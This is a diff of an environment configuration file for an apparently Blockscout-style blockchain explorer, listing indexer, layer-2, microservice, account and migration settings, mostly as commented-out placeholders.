INDEXER_DISABLE_ADDRESS_COIN_BALANCE_FETCHER=false +# INDEXER_DISABLE_TOKEN_INSTANCE_REALTIME_FETCHER=false +# INDEXER_DISABLE_TOKEN_INSTANCE_RETRY_FETCHER=false +# INDEXER_DISABLE_TOKEN_INSTANCE_SANITIZE_FETCHER=false +# INDEXER_DISABLE_TOKEN_INSTANCE_REFETCH_FETCHER=false +# INDEXER_PENDING_TRANSACTIONS_SANITIZER_INTERVAL= +# INDEXER_DISABLE_PENDING_TRANSACTIONS_FETCHER=false +# INDEXER_DISABLE_INTERNAL_TRANSACTIONS_FETCHER=false +# INDEXER_DISABLE_CATALOGED_TOKEN_UPDATER_FETCHER= +# INDEXER_DISABLE_BLOCK_REWARD_FETCHER= +# INDEXER_DISABLE_EMPTY_BLOCKS_SANITIZER= +# INDEXER_DISABLE_WITHDRAWALS_FETCHER= +# INDEXER_DISABLE_REPLACED_TRANSACTION_FETCHER= +# INDEXER_DISABLE_MULTICHAIN_SEARCH_DB_EXPORT_MAIN_QUEUE_FETCHER= +# INDEXER_DISABLE_MULTICHAIN_SEARCH_DB_EXPORT_BALANCES_QUEUE_FETCHER= +# INDEXER_DISABLE_MULTICHAIN_SEARCH_DB_EXPORT_TOKEN_INFO_QUEUE_FETCHER= +# INDEXER_DISABLE_MULTICHAIN_SEARCH_DB_EXPORT_COUNTERS_QUEUE_FETCHER= +# INDEXER_CATCHUP_BLOCKS_BATCH_SIZE= +# INDEXER_CATCHUP_BLOCKS_CONCURRENCY= +# INDEXER_CATCHUP_BLOCK_INTERVAL= +# INDEXER_EMPTY_BLOCKS_SANITIZER_INTERVAL= +# INDEXER_INTERNAL_TRANSACTIONS_BATCH_SIZE= +# INDEXER_INTERNAL_TRANSACTIONS_CONCURRENCY= +# INDEXER_BLOCK_REWARD_BATCH_SIZE= +# INDEXER_BLOCK_REWARD_CONCURRENCY= +# INDEXER_TOKEN_INSTANCE_USE_BASE_URI_RETRY= +# INDEXER_TOKEN_INSTANCE_RETRY_REFETCH_INTERVAL= +# INDEXER_TOKEN_INSTANCE_RETRY_BATCH_SIZE=10 +# INDEXER_TOKEN_INSTANCE_RETRY_CONCURRENCY= +# INDEXER_TOKEN_INSTANCE_REALTIME_BATCH_SIZE=1 +# INDEXER_TOKEN_INSTANCE_REALTIME_CONCURRENCY= +# INDEXER_TOKEN_INSTANCE_SANITIZE_BATCH_SIZE=10 +# INDEXER_TOKEN_INSTANCE_SANITIZE_CONCURRENCY= +# INDEXER_TOKEN_INSTANCE_REFETCH_BATCH_SIZE=10 +# INDEXER_TOKEN_INSTANCE_REFETCH_CONCURRENCY= +# INDEXER_SIGNED_AUTHORIZATION_STATUS_BATCH_SIZE= +# INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_MAIN_QUEUE_BATCH_SIZE= +# INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_MAIN_QUEUE_CONCURRENCY= +# INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_MAIN_QUEUE_ENQUEUE_BUSY_WAITING_TIMEOUT= +# INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_MAIN_QUEUE_MAX_QUEUE_SIZE= +# INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_MAIN_QUEUE_INIT_QUERY_LIMIT= +# INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_BALANCES_QUEUE_BATCH_SIZE= +# INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_BALANCES_QUEUE_CONCURRENCY= +# INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_BALANCES_QUEUE_ENQUEUE_BUSY_WAITING_TIMEOUT= +# INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_BALANCES_QUEUE_MAX_QUEUE_SIZE= +# INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_BALANCES_QUEUE_INIT_QUERY_LIMIT= +# INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_TOKEN_INFO_QUEUE_BATCH_SIZE= +# INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_TOKEN_INFO_QUEUE_CONCURRENCY= +# INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_TOKEN_INFO_QUEUE_ENQUEUE_BUSY_WAITING_TIMEOUT= +# INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_TOKEN_INFO_QUEUE_MAX_QUEUE_SIZE= +# INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_TOKEN_INFO_QUEUE_INIT_QUERY_LIMIT= +# INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_COUNTERS_QUEUE_BATCH_SIZE= +# INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_COUNTERS_QUEUE_CONCURRENCY= +# INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_COUNTERS_QUEUE_ENQUEUE_BUSY_WAITING_TIMEOUT= +# INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_COUNTERS_QUEUE_MAX_QUEUE_SIZE= +# INDEXER_MULTICHAIN_SEARCH_DB_EXPORT_COUNTERS_QUEUE_INIT_QUERY_LIMIT= +# INDEXER_TOKEN_INSTANCE_CIDR_BLACKLIST= +# INDEXER_TOKEN_INSTANCE_HOST_FILTERING_ENABLED= +# INDEXER_TOKEN_INSTANCE_ALLOWED_URI_PROTOCOLS= +# INDEXER_DISABLE_TOKEN_INSTANCE_ERC_1155_SANITIZE_FETCHER=false +# INDEXER_DISABLE_TOKEN_INSTANCE_ERC_721_SANITIZE_FETCHER=false +# INDEXER_COIN_BALANCES_BATCH_SIZE= +# INDEXER_COIN_BALANCES_CONCURRENCY= +# INDEXER_RECEIPTS_BATCH_SIZE= +# INDEXER_RECEIPTS_CONCURRENCY= +# INDEXER_TOKEN_CONCURRENCY= +# INDEXER_TOKEN_BALANCES_BATCH_SIZE= +# INDEXER_TOKEN_BALANCES_CONCURRENCY= +# INDEXER_TOKEN_BALANCES_MAX_REFETCH_INTERVAL= +# INDEXER_TOKEN_BALANCES_EXPONENTIAL_TIMEOUT_COEFF= +# INDEXER_DB_EVENT_NOTIFICATIONS_CLEANUP_ENABLED=true +# INDEXER_DB_EVENT_NOTIFICATIONS_CLEANUP_INTERVAL= +# INDEXER_DB_EVENT_NOTIFICATIONS_CLEANUP_MAX_AGE= +# INDEXER_TX_ACTIONS_ENABLE= +# INDEXER_TX_ACTIONS_MAX_TOKEN_CACHE_SIZE= +# INDEXER_TX_ACTIONS_REINDEX_FIRST_BLOCK= +# INDEXER_TX_ACTIONS_REINDEX_LAST_BLOCK= +# INDEXER_TX_ACTIONS_REINDEX_PROTOCOLS= +# INDEXER_TX_ACTIONS_AAVE_V3_POOL_CONTRACT= +# INDEXER_POLYGON_ZKEVM_BATCHES_ENABLED= +# INDEXER_POLYGON_ZKEVM_BATCHES_CHUNK_SIZE= +# INDEXER_POLYGON_ZKEVM_BATCHES_RECHECK_INTERVAL= +# INDEXER_POLYGON_ZKEVM_BATCHES_IGNORE=0 +# INDEXER_POLYGON_ZKEVM_L1_RPC= +# INDEXER_POLYGON_ZKEVM_L1_BRIDGE_START_BLOCK= +# INDEXER_POLYGON_ZKEVM_L1_BRIDGE_CONTRACT= +# INDEXER_POLYGON_ZKEVM_L1_BRIDGE_NATIVE_SYMBOL= +# INDEXER_POLYGON_ZKEVM_L1_BRIDGE_NATIVE_DECIMALS= +# INDEXER_POLYGON_ZKEVM_L1_BRIDGE_NETWORK_ID= +# INDEXER_POLYGON_ZKEVM_L1_BRIDGE_ROLLUP_INDEX= +# INDEXER_POLYGON_ZKEVM_L2_BRIDGE_START_BLOCK= +# INDEXER_POLYGON_ZKEVM_L2_BRIDGE_CONTRACT= +# INDEXER_POLYGON_ZKEVM_L2_BRIDGE_NETWORK_ID= +# INDEXER_POLYGON_ZKEVM_L2_BRIDGE_ROLLUP_INDEX= +# INDEXER_ZKSYNC_BATCHES_ENABLED= +# INDEXER_ZKSYNC_BATCHES_CHUNK_SIZE= +# INDEXER_ZKSYNC_NEW_BATCHES_MAX_RANGE= +# INDEXER_ZKSYNC_NEW_BATCHES_RECHECK_INTERVAL= +# INDEXER_ZKSYNC_L1_RPC= +# INDEXER_ZKSYNC_BATCHES_STATUS_RECHECK_INTERVAL= +# INDEXER_ARBITRUM_ARBSYS_CONTRACT= +# INDEXER_ARBITRUM_NODE_INTERFACE_CONTRACT= +# INDEXER_ARBITRUM_L1_RPC= +# INDEXER_ARBITRUM_L1_RPC_CHUNK_SIZE= +# INDEXER_ARBITRUM_L1_RPC_HISTORICAL_BLOCKS_RANGE= +# INDEXER_ARBITRUM_L1_ROLLUP_CONTRACT= +# INDEXER_ARBITRUM_L1_ROLLUP_INIT_BLOCK= +# INDEXER_ARBITRUM_L1_COMMON_START_BLOCK= +# INDEXER_ARBITRUM_L1_FINALIZATION_THRESHOLD= +# INDEXER_ARBITRUM_ROLLUP_CHUNK_SIZE= +# INDEXER_ARBITRUM_BATCHES_TRACKING_ENABLED= +# INDEXER_ARBITRUM_BATCHES_TRACKING_RECHECK_INTERVAL= +# INDEXER_ARBITRUM_NEW_BATCHES_LIMIT= +# INDEXER_ARBITRUM_MISSING_BATCHES_RANGE= +# INDEXER_ARBITRUM_BATCHES_TRACKING_MESSAGES_TO_BLOCKS_SHIFT= +# INDEXER_ARBITRUM_CONFIRMATIONS_TRACKING_FINALIZED= +# INDEXER_ARBITRUM_BATCHES_TRACKING_L1_FINALIZATION_CHECK_ENABLED= +# INDEXER_ARBITRUM_BATCHES_TRACKING_FAILURE_THRESHOLD= +# INDEXER_ARBITRUM_BRIDGE_MESSAGES_TRACKING_ENABLED= +# INDEXER_ARBITRUM_TRACKING_MESSAGES_ON_L1_RECHECK_INTERVAL= +# INDEXER_ARBITRUM_MISSED_MESSAGES_RECHECK_INTERVAL= +# INDEXER_ARBITRUM_MISSED_MESSAGES_BLOCKS_DEPTH= +# INDEXER_ARBITRUM_DATA_BACKFILL_ENABLED= +# INDEXER_ARBITRUM_DATA_BACKFILL_UNINDEXED_BLOCKS_RECHECK_INTERVAL= +# INDEXER_ARBITRUM_DATA_BACKFILL_BLOCKS_DEPTH= +# INDEXER_OPTIMISM_L1_RPC= +# INDEXER_OPTIMISM_L1_SYSTEM_CONFIG_CONTRACT= +# INDEXER_OPTIMISM_L1_PORTAL_CONTRACT= +# INDEXER_OPTIMISM_L1_START_BLOCK= +# INDEXER_OPTIMISM_L1_BATCH_INBOX= +# INDEXER_OPTIMISM_L1_BATCH_SUBMITTER= +# INDEXER_OPTIMISM_L1_BATCH_BLOCKS_CHUNK_SIZE= +# INDEXER_OPTIMISM_L2_BATCH_GENESIS_BLOCK_NUMBER= +# INDEXER_OPTIMISM_BLOCK_DURATION= +# INDEXER_OPTIMISM_L1_OUTPUT_ORACLE_CONTRACT= +# INDEXER_OPTIMISM_L2_WITHDRAWALS_START_BLOCK= +# INDEXER_OPTIMISM_L2_MESSAGE_PASSER_CONTRACT= +# INDEXER_OPTIMISM_L1_DEPOSITS_TRANSACTION_TYPE= +# INDEXER_OPTIMISM_L1_ETH_GET_LOGS_RANGE_SIZE= +# INDEXER_OPTIMISM_L2_ETH_GET_LOGS_RANGE_SIZE= +# INDEXER_OPTIMISM_L2_HOLOCENE_TIMESTAMP= +# INDEXER_OPTIMISM_L2_HOLOCENE_BLOCKS_CHUNK_SIZE= +# INDEXER_OPTIMISM_L2_INTEROP_START_BLOCK= +# INDEXER_OPTIMISM_L2_INTEROP_BLOCKS_CHUNK_SIZE= +# INDEXER_OPTIMISM_CHAINSCOUT_API_URL= +# INDEXER_OPTIMISM_CHAINSCOUT_FALLBACK_MAP= +# INDEXER_OPTIMISM_INTEROP_PRIVATE_KEY= +# INDEXER_OPTIMISM_INTEROP_CONNECT_TIMEOUT= +# INDEXER_OPTIMISM_INTEROP_RECV_TIMEOUT= +# INDEXER_OPTIMISM_INTEROP_EXPORT_EXPIRATION_DAYS= +# INDEXER_OPTIMISM_MULTICHAIN_BATCH_SIZE= +# INDEXER_DISABLE_OPTIMISM_INTEROP_MULTICHAIN_EXPORT= +# INDEXER_SCROLL_L1_RPC= +# INDEXER_SCROLL_L1_MESSENGER_CONTRACT= +# INDEXER_SCROLL_L1_MESSENGER_START_BLOCK= +# INDEXER_SCROLL_L1_CHAIN_CONTRACT= +# INDEXER_SCROLL_L1_BATCH_START_BLOCK= +# INDEXER_SCROLL_L1_BATCH_BLOCKSCOUT_BLOBS_API_URL= +# INDEXER_SCROLL_L2_MESSENGER_CONTRACT= +# INDEXER_SCROLL_L2_MESSENGER_START_BLOCK= +# INDEXER_SCROLL_L2_GAS_ORACLE_CONTRACT= +# INDEXER_SCROLL_L1_ETH_GET_LOGS_RANGE_SIZE= +# INDEXER_SCROLL_L2_ETH_GET_LOGS_RANGE_SIZE= +# SCROLL_L2_CURIE_UPGRADE_BLOCK= +# SCROLL_L1_SCALAR_INIT= +# SCROLL_L1_OVERHEAD_INIT= +# SCROLL_L1_COMMIT_SCALAR_INIT= +# SCROLL_L1_BLOB_SCALAR_INIT= +# SCROLL_L1_BASE_FEE_INIT= +# SCROLL_L1_BLOB_BASE_FEE_INIT= +# CELO_CORE_CONTRACTS= +# CELO_L2_MIGRATION_BLOCK= +# CELO_EPOCH_MANAGER_CONTRACT= +# CELO_UNRELEASED_TREASURY_CONTRACT= +# CELO_VALIDATORS_CONTRACT= +# INDEXER_CELO_VALIDATOR_GROUP_VOTES_BATCH_SIZE=200000 +# INDEXER_DISABLE_CELO_EPOCH_FETCHER=false +# INDEXER_DISABLE_CELO_VALIDATOR_GROUP_VOTES_FETCHER=false +# BERYX_API_TOKEN= +# BERYX_API_BASE_URL= +# FILECOIN_NETWORK_PREFIX=f +# INDEXER_DISABLE_FILECOIN_ADDRESS_INFO_FETCHER=false +# INDEXER_FILECOIN_ADDRESS_INFO_CONCURRENCY=1 +# INDEXER_REALTIME_FETCHER_MAX_GAP= +# INDEXER_REALTIME_FETCHER_POLLING_PERIOD= +# INDEXER_FETCHER_INIT_QUERY_LIMIT= +# INDEXER_TOKEN_BALANCES_FETCHER_INIT_QUERY_LIMIT= +# INDEXER_COIN_BALANCES_FETCHER_INIT_QUERY_LIMIT= +# INDEXER_GRACEFUL_SHUTDOWN_PERIOD= +# INDEXER_INTERNAL_TRANSACTIONS_FETCH_ORDER= +# INDEXER_SYSTEM_MEMORY_PERCENTAGE= +# WITHDRAWALS_FIRST_BLOCK= +# ROOTSTOCK_REMASC_ADDRESS= +# ROOTSTOCK_BRIDGE_ADDRESS= +# ROOTSTOCK_LOCKED_BTC_CACHE_PERIOD= +# ROOTSTOCK_LOCKING_CAP= +# INDEXER_DISABLE_ROOTSTOCK_DATA_FETCHER= +# INDEXER_ROOTSTOCK_DATA_FETCHER_INTERVAL= +# INDEXER_ROOTSTOCK_DATA_FETCHER_BATCH_SIZE= +# INDEXER_ROOTSTOCK_DATA_FETCHER_CONCURRENCY= +# INDEXER_ROOTSTOCK_DATA_FETCHER_DB_BATCH_SIZE= +# INDEXER_BEACON_RPC_URL=http://localhost:5052 +# INDEXER_DISABLE_BEACON_BLOB_FETCHER= +# INDEXER_BEACON_BLOB_FETCHER_SLOT_DURATION=12 +# INDEXER_BEACON_BLOB_FETCHER_REFERENCE_SLOT=8000000 +# INDEXER_BEACON_BLOB_FETCHER_REFERENCE_TIMESTAMP=1702824023 +# INDEXER_BEACON_BLOB_FETCHER_START_BLOCK=19200000 +# INDEXER_BEACON_BLOB_FETCHER_END_BLOCK=0 +# INDEXER_DISABLE_BEACON_DEPOSIT_FETCHER= +# INDEXER_BEACON_DEPOSIT_FETCHER_INTERVAL= +# INDEXER_BEACON_DEPOSIT_FETCHER_BATCH_SIZE= +# INDEXER_DISABLE_BEACON_DEPOSIT_STATUS_FETCHER= +# INDEXER_BEACON_DEPOSIT_STATUS_FETCHER_EPOCH_DURATION= +# INDEXER_BEACON_DEPOSIT_STATUS_FETCHER_REFERENCE_TIMESTAMP +# MISSING_BALANCE_OF_TOKENS_WINDOW_SIZE= +# INDEXER_INTERNAL_TRANSACTIONS_TRACER_TYPE= # WEBAPP_URL= # API_URL= -WOBSERVER_ENABLED=false -SHOW_ADDRESS_MARKETCAP_PERCENTAGE=true -CHECKSUM_ADDRESS_HASHES=true -CHECKSUM_FUNCTION=eth -DISABLE_EXCHANGE_RATES=true -DISABLE_KNOWN_TOKENS=false -ENABLE_TXS_STATS=true -SHOW_PRICE_CHART=false -SHOW_TXS_CHART=true -HISTORY_FETCH_INTERVAL=30 -TXS_HISTORIAN_INIT_LAG=0 +# CHECKSUM_ADDRESS_HASHES=true +# TXS_HISTORIAN_INIT_LAG=0 TXS_STATS_DAYS_TO_COMPILE_AT_INIT=10 COIN_BALANCE_HISTORY_DAYS=90 -APPS_MENU=true -EXTERNAL_APPS=[] # GAS_PRICE= -# RESTRICTED_LIST= -# RESTRICTED_LIST_KEY= -SHOW_MAINTENANCE_ALERT=false -MAINTENANCE_ALERT_MESSAGE= -CUSTOM_CONTRACT_ADDRESSES_TEST_TOKEN= -ENABLE_SOURCIFY_INTEGRATION=false -SOURCIFY_SERVER_URL= -SOURCIFY_REPO_URL= -CHAIN_ID= -MAX_SIZE_UNLESS_HIDE_ARRAY=50 -HIDE_BLOCK_MINER=false -DISPLAY_TOKEN_ICONS=false -SHOW_TENDERLY_LINK=false -TENDERLY_CHAIN_PATH= -MAX_STRING_LENGTH_WITHOUT_TRIMMING=2040 -RE_CAPTCHA_SECRET_KEY= -RE_CAPTCHA_CLIENT_KEY= -JSON_RPC= -API_RATE_LIMIT=50 -API_RATE_LIMIT_BY_KEY=50 -API_RATE_LIMIT_BY_IP=50 -API_RATE_LIMIT_WHITELISTED_IPS= -API_RATE_LIMIT_STATIC_API_KEY= -FETCH_REWARDS_WAY=trace_block -# ENABLE_RUST_VERIFICATION_SERVICE=true -# RUST_VERIFICATION_SERVICE_URL=http://0.0.0.0:8043/ \ No newline at end of file +# GAS_PRICE_ORACLE_CACHE_PERIOD= +# GAS_PRICE_ORACLE_SIMPLE_TRANSACTION_GAS= +# GAS_PRICE_ORACLE_NUM_OF_BLOCKS= +# GAS_PRICE_ORACLE_SAFELOW_PERCENTILE= +# GAS_PRICE_ORACLE_AVERAGE_PERCENTILE= +# GAS_PRICE_ORACLE_FAST_PERCENTILE= +# GAS_PRICE_ORACLE_SAFELOW_TIME_COEFFICIENT= +# GAS_PRICE_ORACLE_AVERAGE_TIME_COEFFICIENT= +# GAS_PRICE_ORACLE_FAST_TIME_COEFFICIENT= +# ADDRESSES_BLACKLIST= +# ADDRESSES_BLACKLIST_KEY= +# ADDRESSES_BLACKLIST_URL= +# ADDRESSES_BLACKLIST_UPDATE_INTERVAL= +# ADDRESSES_BLACKLIST_RETRY_INTERVAL= +# ADDRESSES_BLACKLIST_PROVIDER= +# CHAIN_ID= +# HIDE_SCAM_ADDRESSES= +# RE_CAPTCHA_SECRET_KEY= +# RE_CAPTCHA_V3_SECRET_KEY= +RE_CAPTCHA_DISABLED=false +# RE_CAPTCHA_CHECK_HOSTNAME +# RE_CAPTCHA_SCORE_THRESHOLD +# RE_CAPTCHA_BYPASS_TOKEN +# RE_CAPTCHA_TOKEN_INSTANCE_REFETCH_METADATA_SCOPED_BYPASS_TOKEN= +# API_RATE_LIMIT_HAMMER_REDIS_URL=redis://redis-db:6379/1 +# API_RATE_LIMIT_IS_BLOCKSCOUT_BEHIND_PROXY=false +# API_RATE_LIMIT_UI_V2_TOKEN_TTL_IN_SECONDS=18000 +# FETCH_REWARDS_WAY=trace_block +# MICROSERVICE_SC_VERIFIER_ENABLED=true +# MICROSERVICE_SC_VERIFIER_URL=http://smart-contract-verifier:8050/ +# MICROSERVICE_SC_VERIFIER_TYPE=sc_verifier +# MICROSERVICE_SC_VERIFIER_API_KEY= +MICROSERVICE_SC_VERIFIER_TYPE=eth_bytecode_db +# MICROSERVICE_ETH_BYTECODE_DB_INTERVAL_BETWEEN_LOOKUPS=10m +# MICROSERVICE_ETH_BYTECODE_DB_MAX_LOOKUPS_CONCURRENCY=10 +MICROSERVICE_VISUALIZE_SOL2UML_ENABLED=true +MICROSERVICE_VISUALIZE_SOL2UML_URL=http://visualizer:8050/ +MICROSERVICE_SIG_PROVIDER_ENABLED=true +MICROSERVICE_SIG_PROVIDER_URL=http://sig-provider:8050/ +# MICROSERVICE_BENS_URL= +# MICROSERVICE_BENS_ENABLED= +# MICROSERVICE_ACCOUNT_ABSTRACTION_ENABLED=false +MICROSERVICE_ACCOUNT_ABSTRACTION_URL=http://user-ops-indexer:8050/ +# MICROSERVICE_METADATA_URL= +# MICROSERVICE_METADATA_ENABLED= +# MICROSERVICE_METADATA_PROXY_REQUESTS_TIMEOUT= +# MICROSERVICE_STYLUS_VERIFIER_URL= +# MICROSERVICE_MULTICHAIN_SEARCH_URL= +# MICROSERVICE_MULTICHAIN_SEARCH_API_KEY= +# MICROSERVICE_MULTICHAIN_SEARCH_ADDRESSES_CHUNK_SIZE= +# MICROSERVICE_MULTICHAIN_SEARCH_TOKEN_INFO_CHUNK_SIZE= +# MICROSERVICE_MULTICHAIN_SEARCH_COUNTERS_CHUNK_SIZE= +# MICROSERVICE_TAC_OPERATION_LIFECYCLE_ENABLED= +# MICROSERVICE_TAC_OPERATION_LIFECYCLE_URL= +DECODE_NOT_A_CONTRACT_CALLS=true +# DATABASE_READ_ONLY_API_URL= +# ACCOUNT_DATABASE_URL= +# ACCOUNT_POOL_SIZE= +# ACCOUNT_AUTH0_DOMAIN= +# ACCOUNT_AUTH0_CLIENT_ID= +# ACCOUNT_AUTH0_CLIENT_SECRET= +# ACCOUNT_AUTH0_APPLICATION_ID= +# ACCOUNT_SENDGRID_API_KEY= +# ACCOUNT_SENDGRID_SENDER= +# ACCOUNT_SENDGRID_TEMPLATE= +# ACCOUNT_VERIFICATION_EMAIL_RESEND_INTERVAL= +# ACCOUNT_OTP_RESEND_INTERVAL= +# ACCOUNT_PRIVATE_TAGS_LIMIT=2000 +# ACCOUNT_WATCHLIST_ADDRESSES_LIMIT=15 +# ACCOUNT_SIWE_MESSAGE= +ACCOUNT_CLOAK_KEY= +ACCOUNT_ENABLED=false +ACCOUNT_REDIS_URL=redis://redis-db:6379 +# EIP_1559_ELASTICITY_MULTIPLIER=2 +# EIP_1559_BASE_FEE_MAX_CHANGE_DENOMINATOR=8 +# EIP_1559_BASE_FEE_LOWER_BOUND_WEI=0 +# IPFS_GATEWAY_URL= +# IPFS_GATEWAY_URL_PARAM_KEY= +# IPFS_GATEWAY_URL_PARAM_VALUE= +# IPFS_GATEWAY_URL_PARAM_LOCATION= +# IPFS_PUBLIC_GATEWAY_URL= +# MIGRATION_TOKEN_TRANSFER_TOKEN_TYPE_BATCH_SIZE= +# MIGRATION_TOKEN_TRANSFER_TOKEN_TYPE_CONCURRENCY= +# MIGRATION_SANITIZE_INCORRECT_NFT_BATCH_SIZE= +# MIGRATION_SANITIZE_INCORRECT_NFT_CONCURRENCY= +# MIGRATION_SANITIZE_INCORRECT_NFT_TIMEOUT= +# MIGRATION_TRANSACTIONS_TABLE_DENORMALIZATION_BATCH_SIZE= +# MIGRATION_TRANSACTIONS_TABLE_DENORMALIZATION_CONCURRENCY= +# MIGRATION_TOKEN_INSTANCE_OWNER_CONCURRENCY=5 +# MIGRATION_TOKEN_INSTANCE_OWNER_BATCH_SIZE=50 +# MIGRATION_RESTORE_OMITTED_WETH_TOKEN_TRANSFERS_CONCURRENCY= +# MIGRATION_RESTORE_OMITTED_WETH_TOKEN_TRANSFERS_BATCH_SIZE= +# MIGRATION_RESTORE_OMITTED_WETH_TOKEN_TRANSFERS_TIMEOUT= +# MIGRATION_SANITIZE_DUPLICATED_LOG_INDEX_LOGS_CONCURRENCY= +# MIGRATION_SANITIZE_DUPLICATED_LOG_INDEX_LOGS_BATCH_SIZE= +# MIGRATION_REFETCH_CONTRACT_CODES_BATCH_SIZE= +# MIGRATION_REFETCH_CONTRACT_CODES_CONCURRENCY= +# MIGRATION_BACKFILL_MULTICHAIN_SEARCH_BATCH_SIZE= +# MIGRATION_HEAVY_INDEX_OPERATIONS_CHECK_INTERVAL= +# MIGRATION_SANITIZE_VERIFIED_ADDRESSES_DISABLED=false +# MIGRATION_SANITIZE_VERIFIED_ADDRESSES_BATCH_SIZE=500 +# MIGRATION_SANITIZE_VERIFIED_ADDRESSES_CONCURRENCY=1 +# MIGRATION_SANITIZE_VERIFIED_ADDRESSES_TIMEOUT=0s +# MIGRATION_SANITIZE_INCORRECT_WETH_BATCH_SIZE=100 +# MIGRATION_SANITIZE_INCORRECT_WETH_CONCURRENCY=1 +# MIGRATION_SANITIZE_INCORRECT_WETH_TIMEOUT= +# MIGRATION_REINDEX_INTERNAL_TRANSACTIONS_STATUS_BATCH_SIZE= +# MIGRATION_REINDEX_INTERNAL_TRANSACTIONS_STATUS_CONCURRENCY= +# MIGRATION_REINDEX_INTERNAL_TRANSACTIONS_STATUS_TIMEOUT= +# MIGRATION_REINDEX_DUPLICATED_INTERNAL_TRANSACTIONS_BATCH_SIZE= +# MIGRATION_REINDEX_DUPLICATED_INTERNAL_TRANSACTIONS_CONCURRENCY= +# MIGRATION_REINDEX_DUPLICATED_INTERNAL_TRANSACTIONS_TIMEOUT= +# MIGRATION_REINDEX_BLOCKS_WITH_MISSING_TRANSACTIONS_BATCH_SIZE= +# MIGRATION_REINDEX_BLOCKS_WITH_MISSING_TRANSACTIONS_CONCURRENCY= +# MIGRATION_REINDEX_BLOCKS_WITH_MISSING_TRANSACTIONS_TIMEOUT= +# MIGRATION_REINDEX_BLOCKS_WITH_MISSING_TRANSACTIONS_ENABLED= +# MIGRATION_SHRINK_INTERNAL_TRANSACTIONS_BATCH_SIZE= +# MIGRATION_SHRINK_INTERNAL_TRANSACTIONS_CONCURRENCY= +# MIGRATION_ARBITRUM_DA_RECORDS_NORMALIZATION_BATCH_SIZE= +# MIGRATION_ARBITRUM_DA_RECORDS_NORMALIZATION_CONCURRENCY= +# MIGRATION_FILECOIN_PENDING_ADDRESS_OPERATIONS_BATCH_SIZE= +# MIGRATION_FILECOIN_PENDING_ADDRESS_OPERATIONS_CONCURRENCY= +# MIGRATION_TOKEN_INSTANCE_ERC_1155_SANITIZE_CONCURRENCY=2 +# MIGRATION_TOKEN_INSTANCE_ERC_1155_SANITIZE_BATCH_SIZE=10 +# MIGRATION_TOKEN_INSTANCE_ERC_721_SANITIZE_CONCURRENCY=2 +# MIGRATION_TOKEN_INSTANCE_ERC_721_SANITIZE_BATCH_SIZE=10 +# MIGRATION_TOKEN_INSTANCE_ERC_721_SANITIZE_TOKENS_BATCH_SIZE=100 +# MIGRATION_SMART_CONTRACT_LANGUAGE_DISABLED=false +# MIGRATION_SMART_CONTRACT_LANGUAGE_BATCH_SIZE=100 +# MIGRATION_SMART_CONTRACT_LANGUAGE_CONCURRENCY=1 +# MIGRATION_SANITIZE_EMPTY_CONTRACT_CODE_ADDRESSES_BATCH_SIZE=500 +# MIGRATION_SANITIZE_EMPTY_CONTRACT_CODE_ADDRESSES_CONCURRENCY=1 +# MIGRATION_BACKFILL_METADATA_URL_DISABLED= +# MIGRATION_BACKFILL_METADATA_URL_BATCH_SIZE= +# MIGRATION_BACKFILL_METADATA_URL_CONCURRENCY= +# MIGRATION_RECOVERY_WETH_TOKEN_TRANSFERS_CONCURRENCY= +# MIGRATION_RECOVERY_WETH_TOKEN_TRANSFERS_BATCH_SIZE= +# MIGRATION_RECOVERY_WETH_TOKEN_TRANSFERS_TIMEOUT= +# MIGRATION_RECOVERY_WETH_TOKEN_TRANSFERS_BLOCKS_BATCH_SIZE= +# MIGRATION_RECOVERY_WETH_TOKEN_TRANSFERS_HIGH_VERBOSITY= +# MIGRATION_MERGE_ADJACENT_MISSING_BLOCK_RANGES_BATCH_SIZE= +# HEALTH_MONITOR_CHECK_INTERVAL=1m +# HEALTH_MONITOR_BLOCKS_PERIOD=5m +# HEALTH_MONITOR_BATCHES_PERIOD=4h +# SOURCIFY_INTEGRATION_ENABLED=false +# SOURCIFY_SERVER_URL= +# SOURCIFY_REPO_URL= +# SOLIDITYSCAN_PLATFORM_ID= +# SOLIDITYSCAN_CHAIN_ID= +# SOLIDITYSCAN_API_TOKEN= +# NOVES_FI_BASE_API_URL= +# NOVES_FI_CHAIN_NAME= +# NOVES_FI_API_TOKEN= +# XNAME_BASE_API_URL= +# XNAME_API_TOKEN= +# BRIDGED_TOKENS_ENABLED= +# BRIDGED_TOKENS_ETH_OMNI_BRIDGE_MEDIATOR= +# BRIDGED_TOKENS_BSC_OMNI_BRIDGE_MEDIATOR= +# BRIDGED_TOKENS_POA_OMNI_BRIDGE_MEDIATOR= +# BRIDGED_TOKENS_AMB_BRIDGE_MEDIATORS +# BRIDGED_TOKENS_FOREIGN_JSON_RPC +# MUD_INDEXER_ENABLED= +# MUD_DATABASE_URL= +# MUD_POOL_SIZE=50 +# WETH_TOKEN_TRANSFERS_FILTERING_ENABLED=false +# WHITELISTED_WETH_CONTRACTS= +# PUBLIC_METRICS_ENABLED= +# PUBLIC_METRICS_UPDATE_PERIOD_HOURS= +# CSV_EXPORT_LIMIT= +# SHRINK_INTERNAL_TRANSACTIONS_ENABLED= +NFT_MEDIA_HANDLER_ENABLED=true +NFT_MEDIA_HANDLER_REMOTE_DISPATCHER_NODE_MODE_ENABLED=true +RELEASE_NODE=producer@172.18.0.4 +RELEASE_DISTRIBUTION=name +RELEASE_COOKIE=secret_cookie +# NFT_MEDIA_HANDLER_AWS_PUBLIC_BUCKET_URL= +# NFT_MEDIA_HANDLER_BACKFILL_ENABLED= +# NFT_MEDIA_HANDLER_BACKFILL_QUEUE_SIZE= +# 